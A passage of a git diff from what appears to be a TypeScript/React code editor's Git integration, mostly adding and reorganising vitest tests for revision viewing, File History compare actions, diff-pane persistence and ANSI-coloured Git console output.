const bytes = new TextEncoder().encode(JSON.stringify({ repo, revision, path }));
|
||||
const encoded = Array.from(bytes, (b) => b.toString(16).padStart(2, "0")).join("");
|
||||
void editorService().openFile(`git-revision:${encoded}/${encodeURIComponent(path.split("/").at(-1)!)}`, {
|
||||
focus: true,
|
||||
});
|
||||
} else
|
||||
void editorService().openInput({
|
||||
kind: "git-revision",
|
||||
key: `git-revision:${repo}\0${revision}\0${path}`,
|
||||
data: { repo, revision, path, external } satisfies RevisionData,
|
||||
});
|
||||
};
|
||||
const open = (path: string) => openRevisionFile(repo, revision, path, external);
|
||||
return (
|
||||
<Dialog open title={tx`Repository at ${revision.slice(0, 8)}`} onClose={onClose} width={1000}>
|
||||
<div style={{ height: "min(70vh, 640px)", display: "flex", flexDirection: "column" }}>
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
import { afterEach, expect, it } from "vitest";
|
||||
import { act, cleanup, render, waitFor } from "@testing-library/react";
|
||||
import { EditorView } from "@codemirror/view";
|
||||
import type { EditorInput } from "@/workbench/contributions";
|
||||
import { DiffEditor } from "../DiffEditor";
|
||||
|
||||
afterEach(cleanup);
|
||||
|
||||
const pane = (index: number) =>
|
||||
EditorView.findFromDOM(document.querySelectorAll<HTMLElement>(".cm-mergeViewEditor .cm-editor")[index]!)!;
|
||||
|
||||
it("keeps text typed into a blank diff while its tab is hidden and unmounted", async () => {
|
||||
const input = {
|
||||
kind: "diff",
|
||||
key: "diff:blank",
|
||||
data: {
|
||||
path: "",
|
||||
left: { type: "text", text: "", label: "", editable: true },
|
||||
right: { type: "text", text: "", label: "", editable: true },
|
||||
},
|
||||
} as unknown as EditorInput;
|
||||
const first = render(<DiffEditor input={input} />);
|
||||
await waitFor(() => expect(document.querySelectorAll(".cm-mergeViewEditor .cm-editor")).toHaveLength(2));
|
||||
act(() => {
|
||||
pane(0).dispatch({ changes: { from: 0, insert: "left text" } });
|
||||
pane(1).dispatch({ changes: { from: 0, insert: "right text" } });
|
||||
});
|
||||
first.unmount();
|
||||
|
||||
render(<DiffEditor input={input} />);
|
||||
await waitFor(() => expect(pane(0).state.doc.toString()).toBe("left text"));
|
||||
expect(pane(1).state.doc.toString()).toBe("right text");
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
import { afterEach, expect, it, vi } from "vitest";
|
||||
|
||||
const notify = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@/workbench/contributions", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("@/workbench/contributions")>()),
|
||||
notifications: () => ({ notify }),
|
||||
}));
|
||||
|
||||
import { stripAnsi } from "@/ui/ansi";
|
||||
import { clearConsole, logConsole, runOp, useVcsConsole } from "../ops";
|
||||
|
||||
afterEach(() => {
|
||||
clearConsole();
|
||||
notify.mockClear();
|
||||
});
|
||||
|
||||
it("keeps hook output colours in the Git console and its text plain", () => {
|
||||
logConsole("err", "\x1b[41;1m FAILED \x1b[49;22m \x1b[1mSomeTest\x1b[22m\n\x1b[31mred on\nstill red\x1b[0m done");
|
||||
const [first, second, third] = useVcsConsole.getState().lines;
|
||||
expect(first!.text).toBe(" FAILED SomeTest");
|
||||
expect(first!.spans).toEqual([
|
||||
{ text: " FAILED ", bg: "var(--ansi-red)", bold: true },
|
||||
{ text: " " },
|
||||
{ text: "SomeTest", bold: true },
|
||||
]);
|
||||
// A colour set on one line carries to the next one of the same output.
|
||||
expect(second!.spans).toEqual([{ text: "red on", fg: "var(--ansi-red)" }]);
|
||||
expect(third!.spans).toEqual([{ text: "still red", fg: "var(--ansi-red)" }, { text: " done" }]);
|
||||
});
|
||||
|
||||
it("stores lines without escapes as plain text", () => {
|
||||
logConsole("out", "plain line");
|
||||
expect(useVcsConsole.getState().lines).toEqual([expect.objectContaining({ text: "plain line" })]);
|
||||
expect(useVcsConsole.getState().lines[0]!.spans).toBeUndefined();
|
||||
});
|
||||
|
||||
it("shows a failed command's coloured output as plain text in its balloon", async () => {
|
||||
await runOp(
|
||||
"Commit",
|
||||
async () => {
|
||||
throw new Error("\x1b[41;1m FAILED \x1b[0m Tests\\Feature\x1b[90m>\x1b[39m it works");
|
||||
},
|
||||
{ refresh: false },
|
||||
);
|
||||
expect(notify).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ title: "Commit failed", body: " FAILED Tests\\Feature> it works" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("strips every escape, a cut-off one included", () => {
|
||||
expect(stripAnsi("\x1b]0;title\x07a\x1b[2Kb\x1b[1mc\x1b[")).toBe("abc");
|
||||
});
|
||||
@@ -0,0 +1,366 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import type { Commit } from "@/bindings";
|
||||
import { getAction } from "@/platform/actions";
|
||||
import { setContext } from "@/platform/context";
|
||||
import { installKeyboardDispatcher, useKeymap } from "@/platform/keymap";
|
||||
import { useGitLog } from "../logStore";
|
||||
import { toLogChanges, useLogChanges } from "../logChanges";
|
||||
import { registerLogPaneActions } from "../logPaneActions";
|
||||
import { useVcs } from "../store";
|
||||
import { registerVcsActions } from "../actions";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
openVcsDiff: vi.fn(),
|
||||
openRevisionFile: vi.fn(),
|
||||
showWorktreeComparison: vi.fn(),
|
||||
openDialog: vi.fn(),
|
||||
notify: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("../diffInput", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("../diffInput")>()),
|
||||
openVcsDiff: mocks.openVcsDiff,
|
||||
}));
|
||||
vi.mock("../revisionInput", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("../revisionInput")>()),
|
||||
openRevisionFile: mocks.openRevisionFile,
|
||||
}));
|
||||
vi.mock("../compareTool", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("../compareTool")>()),
|
||||
showWorktreeComparison: mocks.showWorktreeComparison,
|
||||
}));
|
||||
vi.mock("../dialogs", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("../dialogs")>()),
|
||||
openDialog: mocks.openDialog,
|
||||
}));
|
||||
vi.mock("@/workbench/contributions", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("@/workbench/contributions")>()),
|
||||
notifications: () => ({ notify: mocks.notify }),
|
||||
}));
|
||||
|
||||
import { showCompareVersions, showCompareWithLocal, showFileAtRevision } from "../operations";
|
||||
import { registerHistoryActions, type FileHistoryCommitArg, type FileHistoryCommitsArg } from "../historyActions";
|
||||
|
||||
const commit: Commit & { historyPath: string } = {
|
||||
id: "1234567890abcdef1234567890abcdef12345678",
|
||||
shortId: "12345678",
|
||||
parents: ["p".repeat(40)],
|
||||
author: "A",
|
||||
email: "[email protected]",
|
||||
timeMs: 0,
|
||||
summary: "Rename file",
|
||||
message: "Rename file",
|
||||
refs: [],
|
||||
historyPath: "old/name.ts",
|
||||
};
|
||||
|
||||
const originalLog = useGitLog.getState();
|
||||
const originalVcs = useVcs.getState();
|
||||
let unregister: (() => void) | undefined;
|
||||
let unregisterPane: (() => void) | undefined;
|
||||
|
||||
beforeEach(() => {
|
||||
mocks.openVcsDiff.mockReset();
|
||||
mocks.openRevisionFile.mockReset();
|
||||
mocks.showWorktreeComparison.mockReset();
|
||||
mocks.openDialog.mockReset();
|
||||
mocks.notify.mockReset();
|
||||
useGitLog.setState({ commits: [], selected: null, selection: [], shownLog: "log", logTabs: [] });
|
||||
useVcs.setState({ root: "/repo", repo: "/repo", roots: ["/repo"], branchesLoaded: true });
|
||||
setContext("vcsAvailable", true);
|
||||
unregister = registerHistoryActions();
|
||||
unregisterPane = registerLogPaneActions();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
unregister?.();
|
||||
unregister = undefined;
|
||||
unregisterPane?.();
|
||||
unregisterPane = undefined;
|
||||
useLogChanges.setState({ commits: [], all: [], selected: [] });
|
||||
useGitLog.setState(originalLog);
|
||||
useVcs.setState(originalVcs);
|
||||
setContext("vcsAvailable", false);
|
||||
});
|
||||
|
||||
describe("File History actions", () => {
|
||||
it("uses Ctrl/Cmd+D on a focused history row to diff the revision against its parent", async () => {
|
||||
const renamed = { ...commit, historyPath: "old/name.ts" };
|
||||
const unrelated = toLogChanges([{ path: "unrelated.ts", oldPath: null, kind: "modified" }], renamed, "/repo");
|
||||
const historyFile = toLogChanges(
|
||||
[{ path: "new/name.ts", oldPath: "old/name.ts", kind: "renamed" }],
|
||||
renamed,
|
||||
"/repo",
|
||||
);
|
||||
const changes = [...unrelated, ...historyFile];
|
||||
useGitLog.setState({
|
||||
commits: [renamed],
|
||||
selected: renamed.id,
|
||||
selection: [renamed.id],
|
||||
shownLog: "history",
|
||||
logTabs: [{ id: "history", kind: "history", target: "/repo/new/name.ts" } as never],
|
||||
});
|
||||
useLogChanges.setState({ commits: [renamed], all: changes, selected: changes });
|
||||
|
||||
const originalOverrides = useKeymap.getState().overrides;
|
||||
const unregisterVcs = registerVcsActions();
|
||||
const uninstallDispatcher = installKeyboardDispatcher(window);
|
||||
useKeymap.setState({
|
||||
overrides: {
|
||||
...originalOverrides,
|
||||
"vcs.showDiff": ["Ctrl+D"],
|
||||
"vcs.log.changes.showDiff": ["Ctrl+D"],
|
||||
},
|
||||
});
|
||||
setContext("vcsLogRevisionFocus", true);
|
||||
try {
|
||||
expect(getAction("vcs.log.changes.showDiff")!.keyWhen).toBe("vcsLogChangesFocus || vcsLogRevisionFocus");
|
||||
expect(getAction("vcs.showDiff")!.keyWhen).toBe(
|
||||
"!editorTextFocus && !vcsLogChangesFocus && !vcsLogRevisionFocus",
|
||||
);
|
||||
window.dispatchEvent(new KeyboardEvent("keydown", { code: "KeyD", key: "d", ctrlKey: true, bubbles: true }));
|
||||
await vi.waitFor(() => expect(mocks.openVcsDiff).toHaveBeenCalledOnce());
|
||||
} finally {
|
||||
setContext("vcsLogRevisionFocus", false);
|
||||
useKeymap.setState({ overrides: originalOverrides });
|
||||
uninstallDispatcher();
|
||||
unregisterVcs();
|
||||
}
|
||||
|
||||
expect(mocks.openVcsDiff).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
path: "/repo/new/name.ts",
|
||||
left: { type: "rev", rev: commit.parents[0], path: "/repo/old/name.ts", label: commit.parents[0]!.slice(0, 8) },
|
||||
right: { type: "rev", rev: commit.id, label: commit.shortId },
|
||||
}),
|
||||
{ preview: true },
|
||||
);
|
||||
expect(mocks.openVcsDiff.mock.calls[0]![0].chain).toBeUndefined();
|
||||
});
|
||||
|
||||
it("uses Compare Versions for two focused File History revisions", async () => {
|
||||
const newer = { ...commit, historyPath: "new/name.ts" };
|
||||
const older = {
|
||||
...commit,
|
||||
id: "a".repeat(40),
|
||||
shortId: "aaaaaaaa",
|
||||
parents: ["b".repeat(40)],
|
||||
historyPath: "old/name.ts",
|
||||
};
|
||||
useGitLog.setState({
|
||||
commits: [newer, older],
|
||||
selected: newer.id,
|
||||
selection: [newer.id, older.id],
|
||||
shownLog: "history",
|
||||
logTabs: [{ id: "history", kind: "history", target: "/repo/new/name.ts" } as never],
|
||||
});
|
||||
useLogChanges.setState({ commits: [newer, older], all: [], selected: [] });
|
||||
|
||||
await getAction("vcs.log.changes.showDiff")!.run({ ctx: { vcsLogRevisionFocus: true } });
|
||||
|
||||
expect(mocks.openVcsDiff).toHaveBeenCalledWith({
|
||||
path: "/repo/new/name.ts",
|
||||
left: { type: "rev", rev: older.id, path: "/repo/old/name.ts", label: older.shortId },
|
||||
right: { type: "rev", rev: newer.id, path: "/repo/new/name.ts", label: newer.shortId },
|
||||
});
|
||||
});
|
||||
|
||||
it("does not open a stale changed-files result while the selected revision is still loading", async () => {
|
||||
const selected = { ...commit, id: "c".repeat(40) };
|
||||
useGitLog.setState({
|
||||
commits: [selected],
|
||||
selected: selected.id,
|
||||
selection: [selected.id],
|
||||
shownLog: "history",
|
||||
logTabs: [{ id: "history", kind: "history", target: "/repo/new/name.ts" } as never],
|
||||
});
|
||||
useLogChanges.setState({
|
||||
commits: [commit],
|
||||
all: toLogChanges([{ path: "stale.ts", oldPath: null, kind: "modified" }], commit, "/repo"),
|
||||
selected: [],
|
||||
});
|
||||
|
||||
await getAction("vcs.log.changes.showDiff")!.run({ ctx: { vcsLogRevisionFocus: true } });
|
||||
|
||||
expect(mocks.openVcsDiff).not.toHaveBeenCalled();
|
||||
expect(mocks.notify).toHaveBeenCalledWith({
|
||||
group: "vcs",
|
||||
level: "info",
|
||||
title: "Revision changes are still loading",
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps changed-file Show Diff on the same action when the revision list is not focused", async () => {
|
||||
const changes = toLogChanges([{ path: "new/name.ts", oldPath: "old/name.ts", kind: "renamed" }], commit, "/repo");
|
||||
await getAction("vcs.log.changes.showDiff")!.run({ arg: changes, ctx: { vcsLogChangesFocus: true } });
|
||||
|
||||
expect(mocks.openVcsDiff).toHaveBeenCalledWith(expect.objectContaining({ path: "/repo/new/name.ts" }), {
|
||||
preview: true,
|
||||
});
|
||||
});
|
||||
|
||||
it("opens the selected snapshot, preserving the historical path after a rename", () => {
|
||||
showFileAtRevision(commit, "/repo/new/name.ts");
|
||||
|
||||
expect(mocks.openRevisionFile).toHaveBeenCalledWith("/repo", commit.id, "old/name.ts", false);
|
||||
});
|
||||
|
||||
it("derives a missing historical path from the scoped target using normalized Windows paths", () => {
|
||||
const { historyPath: _historyPath, ...withoutHistoryPath } = commit;
|
||||
useVcs.setState({ root: "C:/repo", repo: "C:/repo", roots: ["C:/repo"] });
|
||||
showFileAtRevision(withoutHistoryPath, "C:/repo/new/name.ts");
|
||||
|
||||
expect(mocks.openRevisionFile).toHaveBeenCalledWith("C:/repo", commit.id, "new/name.ts", false);
|
||||
});
|
||||
|
||||
it("compares the selected historical file directly with its current working file", () => {
|
||||
showCompareWithLocal(commit, "/repo/new/name.ts");
|
||||
|
||||
expect(mocks.openVcsDiff).toHaveBeenCalledWith({
|
||||
path: "/repo/new/name.ts",
|
||||
left: { type: "rev", rev: commit.id, path: "/repo/old/name.ts", label: commit.shortId },
|
||||
right: { type: "worktree" },
|
||||
});
|
||||
expect(mocks.showWorktreeComparison).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("keeps ordinary Git Log Compare with Local repository-scoped", () => {
|
||||
showCompareWithLocal(commit);
|
||||
|
||||
expect(mocks.openVcsDiff).not.toHaveBeenCalled();
|
||||
expect(mocks.showWorktreeComparison).toHaveBeenCalledWith(commit.id, commit.shortId);
|
||||
});
|
||||
|
||||
it("compares each historical path at its revision in chronological order", () => {
|
||||
const older = { ...commit, id: "a".repeat(40), shortId: "aaaaaaaa", historyPath: "old/name.ts" };
|
||||
const newer = { ...commit, id: "b".repeat(40), shortId: "bbbbbbbb", historyPath: "renamed/name.ts" };
|
||||
|
||||
showCompareVersions(older, newer, "/repo/current/name.ts");
|
||||
|
||||
expect(mocks.openVcsDiff).toHaveBeenCalledWith({
|
||||
path: "/repo/current/name.ts",
|
||||
left: { type: "rev", rev: older.id, path: "/repo/old/name.ts", label: older.shortId },
|
||||
right: { type: "rev", rev: newer.id, path: "/repo/renamed/name.ts", label: newer.shortId },
|
||||
});
|
||||
expect(mocks.openDialog).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("falls back to the File History target when either selected revision has no historical path", () => {
|
||||
const { historyPath: _olderPath, ...older } = { ...commit, id: "a".repeat(40), shortId: "aaaaaaaa" };
|
||||
const { historyPath: _newerPath, ...newer } = { ...commit, id: "b".repeat(40), shortId: "bbbbbbbb" };
|
||||
|
||||
showCompareVersions(older, newer, "/repo/current/name.ts");
|
||||
|
||||
expect(mocks.openVcsDiff).toHaveBeenCalledWith({
|
||||
path: "/repo/current/name.ts",
|
||||
left: { type: "rev", rev: older.id, path: "/repo/current/name.ts", label: older.shortId },
|
||||
right: { type: "rev", rev: newer.id, path: "/repo/current/name.ts", label: newer.shortId },
|
||||
});
|
||||
});
|
||||
|
||||
it("routes the revision-row Compare with Local action to the scoped file diff", async () => {
|
||||
const arg: FileHistoryCommitArg = { kind: "file-history-commit", commit, target: "/repo/new/name.ts" };
|
||||
await getAction("vcs.log.compareWithLocal")!.run({ arg, ctx: {} });
|
||||
|
||||
expect(mocks.openVcsDiff).toHaveBeenCalledWith({
|
||||
path: "/repo/new/name.ts",
|
||||
left: { type: "rev", rev: commit.id, path: "/repo/old/name.ts", label: commit.shortId },
|
||||
right: { type: "worktree" },
|
||||
});
|
||||
expect(mocks.showWorktreeComparison).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("routes Show File at Revision through the read-only revision editor", async () => {
|
||||
const arg: FileHistoryCommitArg = { kind: "file-history-commit", commit, target: "/repo/new/name.ts" };
|
||||
await getAction("vcs.log.showFileAtRevision")!.run({ arg, ctx: {} });
|
||||
|
||||
expect(mocks.openRevisionFile).toHaveBeenCalledWith("/repo", commit.id, "old/name.ts", false);
|
||||
});
|
||||
|
||||
it("routes scoped Compare Versions with both selected revision paths", async () => {
|
||||
const older = { ...commit, id: "a".repeat(40), shortId: "aaaaaaaa", historyPath: "old/name.ts" };
|
||||
const newer = { ...commit, id: "b".repeat(40), shortId: "bbbbbbbb", historyPath: "renamed/name.ts" };
|
||||
const arg: FileHistoryCommitsArg = {
|
||||
kind: "file-history-commits",
|
||||
commits: [newer, older],
|
||||
target: "/repo/current/name.ts",
|
||||
};
|
||||
|
||||
await getAction("vcs.log.compareVersions")!.run({ arg, ctx: {} });
|
||||
|
||||
expect(mocks.openVcsDiff).toHaveBeenCalledWith({
|
||||
path: "/repo/current/name.ts",
|
||||
left: { type: "rev", rev: older.id, path: "/repo/old/name.ts", label: older.shortId },
|
||||
right: { type: "rev", rev: newer.id, path: "/repo/renamed/name.ts", label: newer.shortId },
|
||||
});
|
||||
});
|
||||
|
||||
it("does not attach a parked File History path to an explicit normal-log selection", async () => {
|
||||
useGitLog.setState({
|
||||
shownLog: "history:1",
|
||||
logTabs: [
|
||||
{ id: "history:1", kind: "history", target: "/repo/current/name.ts", repo: "/repo", location: "toolWindow" },
|
||||
],
|
||||
});
|
||||
const older = { ...commit, id: "a".repeat(40), shortId: "aaaaaaaa", historyPath: "old/name.ts" };
|
||||
const newer = { ...commit, id: "b".repeat(40), shortId: "bbbbbbbb", historyPath: "renamed/name.ts" };
|
||||
|
||||
await getAction("vcs.log.compareVersions")!.run({ arg: [newer, older], ctx: {} });
|
||||
|
||||
expect(mocks.openVcsDiff).not.toHaveBeenCalled();
|
||||
expect(mocks.openDialog).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("keeps Compare Versions restricted to exactly two commits", async () => {
|
||||
const commits = ["a", "b", "c"].map((id) => ({
|
||||
...commit,
|
||||
id: id.repeat(40),
|
||||
shortId: id.repeat(8),
|
||||
}));
|
||||
|
||||
await getAction("vcs.log.compareVersions")!.run({ arg: commits, ctx: {} });
|
||||
|
||||
expect(mocks.openVcsDiff).not.toHaveBeenCalled();
|
||||
expect(mocks.openDialog).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("uses the active File History scope when Compare with Local is invoked without an argument", async () => {
|
||||
useGitLog.setState({
|
||||
commits: [commit],
|
||||
selected: commit.id,
|
||||
selection: [commit.id],
|
||||
shownLog: "history:1",
|
||||
logTabs: [
|
||||
{ id: "history:1", kind: "history", target: "/repo/new/name.ts", repo: "/repo", location: "toolWindow" },
|
||||
],
|
||||
});
|
||||
await getAction("vcs.log.compareWithLocal")!.run({ ctx: {} });
|
||||
|
||||
expect(mocks.openVcsDiff).toHaveBeenCalledWith({
|
||||
path: "/repo/new/name.ts",
|
||||
left: { type: "rev", rev: commit.id, path: "/repo/old/name.ts", label: commit.shortId },
|
||||
right: { type: "worktree" },
|
||||
});
|
||||
});
|
||||
|
||||
it("does not apply a parked File History scope to an explicitly passed plain commit", async () => {
|
||||
useGitLog.setState({
|
||||
shownLog: "history:1",
|
||||
logTabs: [
|
||||
{ id: "history:1", kind: "history", target: "/repo/new/name.ts", repo: "/repo", location: "toolWindow" },
|
||||
],
|
||||
});
|
||||
await getAction("vcs.log.compareWithLocal")!.run({ arg: commit, ctx: {} });
|
||||
|
||||
expect(mocks.openVcsDiff).not.toHaveBeenCalled();
|
||||
expect(mocks.showWorktreeComparison).toHaveBeenCalledWith(commit.id, commit.shortId);
|
||||
});
|
||||
|
||||
it("keeps command-based Compare with Local repository-scoped in the normal log", async () => {
|
||||
useGitLog.setState({ commits: [commit], selected: commit.id, selection: [commit.id], shownLog: "log" });
|
||||
await getAction("vcs.log.compareWithLocal")!.run({ ctx: {} });
|
||||
|
||||
expect(mocks.openVcsDiff).not.toHaveBeenCalled();
|
||||
expect(mocks.showWorktreeComparison).toHaveBeenCalledWith(commit.id, commit.shortId);
|
||||
});
|
||||
});
|
||||
@@ -1,7 +1,7 @@
|
||||
import { readFileSync } from "node:fs";
|
||||
import { render, screen } from "@testing-library/react";
|
||||
import { readFileSync } from "node:fs";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { RefLabels } from "../GitLog";
|
||||
import { RefLabels } from "../log/CommitMessage";
|
||||
|
||||
const css = readFileSync("src/features/vcs/GitLog.module.css", "utf8");
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import type { Commit } from "@/bindings";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { operationActions } from "../BranchWidget";
|
||||
import { commitMenu } from "../log/commitMenu";
|
||||
import { extendCommitSelection, selectCommit, selectedCommits, toggleCommitSelection, useGitLog } from "../logStore";
|
||||
import { controlLabel, inProgress, operationControls, operationTitle, validateTagName } from "../operations";
|
||||
import { suggestedPatchName } from "../patches";
|
||||
import { commitMenu } from "../GitLog";
|
||||
import { extendCommitSelection, selectCommit, selectedCommits, toggleCommitSelection, useGitLog } from "../logStore";
|
||||
|
||||
const commit = (summary: string, id = "0123456789abcdef0123456789abcdef01234567"): Commit => ({
|
||||
id,
|
||||
@@ -84,6 +84,17 @@ describe("Git Log commit actions", () => {
|
||||
expect(items.every((i) => !("arg" in i) || i.arg === c)).toBe(true);
|
||||
});
|
||||
|
||||
it("adds file-scoped revision actions only to a File History commit menu", () => {
|
||||
const c = commit("Rename file");
|
||||
const items = commitMenu(c, [c], "/repo/new.txt");
|
||||
const show = items.find((i) => "action" in i && i.action === "vcs.log.showFileAtRevision");
|
||||
const compare = items.find((i) => "action" in i && i.action === "vcs.log.compareWithLocal");
|
||||
const scoped = { kind: "file-history-commit", commit: c, target: "/repo/new.txt" };
|
||||
expect(show).toMatchObject({ arg: scoped });
|
||||
expect(compare).toMatchObject({ arg: scoped });
|
||||
expect(commitMenu(c).some((i) => "action" in i && i.action === "vcs.log.showFileAtRevision")).toBe(false);
|
||||
});
|
||||
|
||||
it("offers history rewriting for pushed commits too (IDEA allows it; the run confirms)", () => {
|
||||
const local = commit("Local", "1".repeat(40));
|
||||
const pushed = commit("Pushed", "2".repeat(40));
|
||||
@@ -123,6 +134,23 @@ describe("Git Log commit actions", () => {
|
||||
expect(ids([a, b, c])).toContain("vcs.log.cherryPick");
|
||||
});
|
||||
|
||||
it("scopes only File History Compare Versions to its selected file", () => {
|
||||
const older = { ...commit("Older", "a".repeat(40)), historyPath: "old/name.ts" };
|
||||
const newer = { ...commit("Newer", "b".repeat(40)), historyPath: "renamed/name.ts" };
|
||||
const target = "/repo/current/name.ts";
|
||||
const normal = commitMenu(newer, [newer, older]).find(
|
||||
(i) => i.kind === "action" && i.action === "vcs.log.compareVersions",
|
||||
);
|
||||
const history = commitMenu(newer, [newer, older], target).find(
|
||||
(i) => i.kind === "action" && i.action === "vcs.log.compareVersions",
|
||||
);
|
||||
|
||||
expect(normal).toMatchObject({ arg: [newer, older] });
|
||||
expect(history).toMatchObject({
|
||||
arg: { kind: "file-history-commits", commits: [newer, older], target },
|
||||
});
|
||||
});
|
||||
|
||||
it("extends and toggles the log selection", () => {
|
||||
const list = ["1", "2", "3", "4"].map((d) => commit(d, d.repeat(40)));
|
||||
useGitLog.setState({ commits: list });
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { act, fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
import type { Branch, BranchInfo } from "@/bindings";
|
||||
import { isMacHost } from "@/platform/keymap";
|
||||
import { act, fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@/platform/ipc", async (importOriginal) => {
|
||||
const real = await importOriginal<typeof import("@/platform/ipc")>();
|
||||
@@ -22,8 +22,8 @@ vi.mock("@/platform/actions", async (importOriginal) => ({
|
||||
}));
|
||||
|
||||
import { ContextMenuHost } from "@/ui";
|
||||
import { BranchesPanel } from "../GitLog";
|
||||
import syncStyles from "../BranchSync.module.css";
|
||||
import { BranchesPanel } from "../log/BranchesPanel";
|
||||
import { emptyFilters, useGitLog } from "../logStore";
|
||||
import { useVcs } from "../store";
|
||||
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { fireEvent, render, screen } from "@testing-library/react";
|
||||
import type { Commit } from "@/bindings";
|
||||
import { fireEvent, render, screen } from "@testing-library/react";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { collapseLinear, computeGraph, hideLongEdges, linearizeMerges } from "../graph";
|
||||
import { commitKey, graphCommit } from "../multiRoot";
|
||||
import { presentLogGraph } from "../logPresentation";
|
||||
import { DEFAULT_LOG_OPTIONS } from "../logOptions";
|
||||
import { GraphCell } from "../GitLog";
|
||||
import { GraphCell } from "../log/GraphCell";
|
||||
import { toLogChanges } from "../logChanges";
|
||||
import { DEFAULT_LOG_OPTIONS } from "../logOptions";
|
||||
import { presentLogGraph } from "../logPresentation";
|
||||
import { commitKey, graphCommit } from "../multiRoot";
|
||||
|
||||
const commit = (id: string, parents: string[] = [], refs: string[] = []): Commit => ({
|
||||
id,
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
import type { Branch, Commit } from "@/bindings";
|
||||
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const vcsCommitFiles = vi.fn();
|
||||
const vcsDiffNumstat = vi.fn();
|
||||
@@ -27,9 +27,13 @@ vi.mock("@/platform/ipc", async (importOriginal) => {
|
||||
};
|
||||
});
|
||||
|
||||
import { LogSettingsPage } from "../LogSettingsPage";
|
||||
import { canDeleteBranch } from "../branchOps";
|
||||
import { buildBranchTree, filterBranchTree } from "../branches";
|
||||
import { buildFileTree } from "../fileTree";
|
||||
import { BranchesPanel } from "../log/BranchesPanel";
|
||||
import { CommitDetails, changesMenu } from "../log/CommitDetails";
|
||||
import { graphOptionsMenu } from "../log/FilterBar";
|
||||
import {
|
||||
EMPTY_TREE,
|
||||
assignLineStats,
|
||||
@@ -40,12 +44,10 @@ import {
|
||||
toLogChanges,
|
||||
useLogChanges,
|
||||
} from "../logChanges";
|
||||
import { canUpdateBranch, useBranchesPane } from "../logPaneActions";
|
||||
import { BranchesPanel, CommitDetails, changesMenu, graphOptionsMenu } from "../GitLog";
|
||||
import { LogSettingsPage } from "../LogSettingsPage";
|
||||
import { DEFAULT_LOG_OPTIONS, useLogOptions } from "../logOptions";
|
||||
import { renameFrom } from "../model";
|
||||
import { canUpdateBranch, useBranchesPane } from "../logPaneActions";
|
||||
import { emptyFilters, useGitLog } from "../logStore";
|
||||
import { renameFrom } from "../model";
|
||||
import { useVcs } from "../store";
|
||||
|
||||
const b = (name: string, opts: Partial<Branch> = {}): Branch => ({
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { act, fireEvent, render, screen, waitFor, within } from "@testing-library/react";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import type { Commit } from "@/bindings";
|
||||
import { ContextMenuHost, hideContextMenu } from "@/ui";
|
||||
import { act, fireEvent, render, screen, waitFor, within } from "@testing-library/react";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const api = vi.hoisted(() => ({ commits: [] as Commit[], details: vi.fn(), diff: vi.fn() }));
|
||||
vi.mock("@/platform/ipc", async (original) => {
|
||||
@@ -28,12 +28,13 @@ vi.mock("@/platform/ipc", async (original) => {
|
||||
};
|
||||
});
|
||||
|
||||
import { CommitDetails, LogView } from "../GitLog";
|
||||
import { useVcs } from "../store";
|
||||
import { commitKey } from "../multiRoot";
|
||||
import { emptyFilters, openLogTab, reloadLog, selectGitTab, useGitLog } from "../logStore";
|
||||
import { LogView } from "../GitLog";
|
||||
import { LogScope } from "../LogScope";
|
||||
import { CommitDetails } from "../log/CommitDetails";
|
||||
import { DEFAULT_LOG_OPTIONS, useLogOptions } from "../logOptions";
|
||||
import { emptyFilters, openLogTab, reloadLog, selectGitTab, useGitLog } from "../logStore";
|
||||
import { commitKey } from "../multiRoot";
|
||||
import { useVcs } from "../store";
|
||||
|
||||
const c = (id: string, parents: string[] = [], refs: string[] = []): Commit => ({
|
||||
id,
|
||||
|
||||
@@ -198,6 +198,19 @@ it("shows only the repository Push was invoked from without a checkbox, its file
|
||||
expect(mocks.ops[0]?.repo).toBe("/p/b");
|
||||
});
|
||||
|
||||
it("pushes an up-to-date repository from its own Push… to another target branch", async () => {
|
||||
mocks.upToDate.add("/p/b");
|
||||
render(<VcsDialogHost />);
|
||||
await act(() => showPushDialog({ repo: "/p/b" }));
|
||||
|
||||
